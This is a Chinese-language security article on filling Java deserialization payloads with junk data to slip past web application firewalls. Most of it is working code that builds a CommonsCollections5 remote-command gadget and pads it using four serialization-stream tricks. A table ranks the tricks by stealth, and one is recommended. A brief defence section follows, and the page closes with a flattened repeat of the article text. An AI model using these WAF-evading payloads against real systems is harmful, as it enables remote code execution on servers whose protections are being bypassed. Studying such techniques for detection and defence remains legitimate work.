Java 脏数据填充探索
字数 1540 2025-08-18 17:33:19

Java序列化脏数据填充技术研究

1. 脏数据概念与作用

脏数据是指在Java序列化payload中插入的无意义或干扰性数据,其主要目的是绕过Web应用防火墙(WAF)的检测机制。

为什么需要脏数据:

  • 绕过WAF检查:WAF可能通过以下方式检测payload:
    • 检查aced魔术头
    • 查找关键字符串或特征信息
    • 分析特定类名
  • 利用WAF性能限制
    • 过大的请求体可能导致分段传输
    • 重组大包可能因性能问题被放弃分析
    • 超时可能导致只检查前几个TCP报文

2. Java序列化结构分析

Java序列化数据是格式化数据,不能随意插入脏数据,需要找到合法的插入点:

可能的插入点:

  1. 循环跳过机制:如do{b = reader.ReadByte()}while(b == 0x00)
  2. 递归解析:前面可塞任意数据,只要最后一次反序列化成功
  3. 特定标记处理:如TC_RESETTC_ARRAY

3. 脏数据填充技术详解

3.1 TC_RESET技术

原理

  • ObjectInputStream.readObject0方法开头会忽略所有TC_RESET(0x79)标记
  • handleReset()会清空handle表,序列化开始时清空无影响

实现代码

serIns = yso.GetCommonsCollections5JavaObject("open /System/Applications/Calculator.app")
payload = yso.ToBytes(serIns)
dirtyData = ""
for range 100{
    dirtyData += "\x79"
}
res = string(payload[:4]) + dirtyData + string(payload[4:])
println(codec.EncodeBase64(res))

特点

  • 简单易用
  • 大量TC_RESET在aced流中特征明显

3.2 TC_ARRAY技术

原理

  • 在payload前添加数组头
  • gadget作为最后一个元素:[]Object{null,null,null,gadget}

实现步骤

  1. 准备classDesc:
    // 生成Object[]序列化对象
    rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwcA==
    
  2. 处理handle table错乱问题:
    • 添加TC_EXCEPTION(0x7b)标记清空handle表

完整实现

objArrayIns = yso.GetJavaObjectFromBytes(codec.DecodeBase64("rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwcA=="))
descSer = yso.ToBytes(objArrayIns.JavaSerializable.ClassDesc)
serIns = yso.GetCommonsCollections5JavaObject("open /System/Applications/Calculator.app")
payload = yso.ToBytes(serIns)
dirtyData = ""
dirtyData += "\x75"  // TC_ARRAY
dirtyData += string(descSer[4:])  // 去掉magic header
dirtyData += "\x00\x00\x00\x02"  // 数组长度是2
dirtyData += "\x7B"  // TC_EXCEPTION
res = string(payload[:4]) + dirtyData + string(payload[4:])
println(codec.EncodeBase64(res))

特点

  • 生成标准序列化流,兼容性好
  • 是推荐使用的方式

3.3 skipCustomData技术

原理

  • readNonProxyDesc会解析classDesc后调用skipCustomData
  • skipCustomData会跳过数据块不影响解析

实现

objArraySer = codec.DecodeBase64("rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwcA==")
objArrayIns = yso.GetJavaObjectFromBytes(objArraySer)
descSer = yso.ToBytes(objArrayIns.JavaSerializable.ClassDesc)
serIns = yso.GetCommonsCollections5JavaObject("open /System/Applications/Calculator.app")
payload = yso.ToBytes(serIns)
dirtyData = ""
dirtyData += string(descSer[4:-2])  // 去掉magic header、super class和block end
dirtyData += "\x77"  // TC_BLOCKDATA
dirtyData += "\x05"  // 数据块大小
dirtyData += string([]byte{1,2,3,4,5})  // 脏数据
dirtyData += "\x7b"  // TC_EXCEPTION
res = string(payload[:5]) + dirtyData + string(payload[4:])
println(codec.EncodeBase64(res))

高级技巧

  • 可以在类名中塞脏数据:
    objArrayIns.JavaSerializable.ClassDesc.Detail.ClassName=str.RandStr(10000)
    

3.4 TC_PROXYCLASSDESC技术

原理

  • 为gadget添加代理头
  • 代理头可以无限添加接口名

实现

serIns = yso.GetCommonsCollections5JavaObject("open /System/Applications/Calculator.app")
payload = yso.ToBytes(serIns)
newPayload = ""
newPayload += string(payload[:5])  // aced和TC_OBJECT
newPayload += string("\x7d")  // TC_PROXYCLASSDESC
newPayload += string("\x00\x00\x00\x01")  // 1个interface
newPayload += string("\x00\x02")  // 长度是2
newPayload += "aa"  // 接口名
newPayload += "\x7b"  // TC_EXCEPTION
newPayload += string(payload[4:])  // classData
println(codec.EncodeBase64(newPayload))

4. Handle Table问题解决方案

在填充脏数据时常见handle table错乱问题,解决方案:

  1. 使用TC_EXCEPTION(0x7b)

    • 会抛出异常但能执行payload
    • 控制台输出不美观
  2. 重新生成所有引用值

    • 更彻底但实现复杂
  3. 将所有引用改为实例

    • 避免引用问题
  4. 使用Java自动生成序列化流

    • 最可靠但需要Java环境

5. 技术对比与推荐

技术 复杂度 兼容性 隐蔽性 推荐度
TC_RESET ★★☆☆☆
TC_ARRAY ★★★★☆
skipCustomData ★★★☆☆
TC_PROXYCLASSDESC ★★★☆☆

推荐方案:TC_ARRAY方式,因其生成的payload是标准序列化流,兼容性最好。

6. 防御建议

针对脏数据填充攻击的防御措施:

  1. 深度解析:完整解析整个序列化流而非仅检查开头
  2. 类名白名单:限制可反序列化的类
  3. 大小限制:限制反序列化数据大小
  4. JEP 290:使用Java内置的序列化过滤器

7. 参考资源

Java序列化脏数据填充技术研究 1. 脏数据概念与作用 脏数据 是指在Java序列化payload中插入的无意义或干扰性数据,其主要目的是绕过Web应用防火墙(WAF)的检测机制。 为什么需要脏数据: 绕过WAF检查 :WAF可能通过以下方式检测payload: 检查 aced 魔术头 查找关键字符串或特征信息 分析特定类名 利用WAF性能限制 : 过大的请求体可能导致分段传输 重组大包可能因性能问题被放弃分析 超时可能导致只检查前几个TCP报文 2. Java序列化结构分析 Java序列化数据是格式化数据,不能随意插入脏数据,需要找到合法的插入点: 可能的插入点: 循环跳过机制 :如 do{b = reader.ReadByte()}while(b == 0x00) 递归解析 :前面可塞任意数据,只要最后一次反序列化成功 特定标记处理 :如 TC_RESET 、 TC_ARRAY 等 3. 脏数据填充技术详解 3.1 TC_ RESET技术 原理 : ObjectInputStream.readObject0 方法开头会忽略所有 TC_RESET (0x79)标记 handleReset() 会清空handle表,序列化开始时清空无影响 实现代码 : 特点 : 简单易用 大量TC_ RESET在aced流中特征明显 3.2 TC_ ARRAY技术 原理 : 在payload前添加数组头 gadget作为最后一个元素: []Object{null,null,null,gadget} 实现步骤 : 准备classDesc: 处理handle table错乱问题: 添加 TC_EXCEPTION (0x7b)标记清空handle表 完整实现 : 特点 : 生成标准序列化流,兼容性好 是推荐使用的方式 3.3 skipCustomData技术 原理 : readNonProxyDesc 会解析classDesc后调用 skipCustomData skipCustomData 会跳过数据块不影响解析 实现 : 高级技巧 : 可以在类名中塞脏数据: 3.4 TC_ PROXYCLASSDESC技术 原理 : 为gadget添加代理头 代理头可以无限添加接口名 实现 : 4. Handle Table问题解决方案 在填充脏数据时常见handle table错乱问题,解决方案: 使用TC_ EXCEPTION(0x7b) : 会抛出异常但能执行payload 控制台输出不美观 重新生成所有引用值 : 更彻底但实现复杂 将所有引用改为实例 : 避免引用问题 使用Java自动生成序列化流 : 最可靠但需要Java环境 5. 技术对比与推荐 | 技术 | 复杂度 | 兼容性 | 隐蔽性 | 推荐度 | |------|--------|--------|--------|--------| | TC_ RESET | 低 | 高 | 低 | ★★☆☆☆ | | TC_ ARRAY | 中 | 高 | 中 | ★★★★☆ | | skipCustomData | 高 | 中 | 高 | ★★★☆☆ | | TC_ PROXYCLASSDESC | 中 | 中 | 高 | ★★★☆☆ | 推荐方案 :TC_ ARRAY方式,因其生成的payload是标准序列化流,兼容性最好。 6. 防御建议 针对脏数据填充攻击的防御措施: 深度解析 :完整解析整个序列化流而非仅检查开头 类名白名单 :限制可反序列化的类 大小限制 :限制反序列化数据大小 JEP 290 :使用Java内置的序列化过滤器 7. 参考资源 Java反序列化数据绕WAF新姿势的补充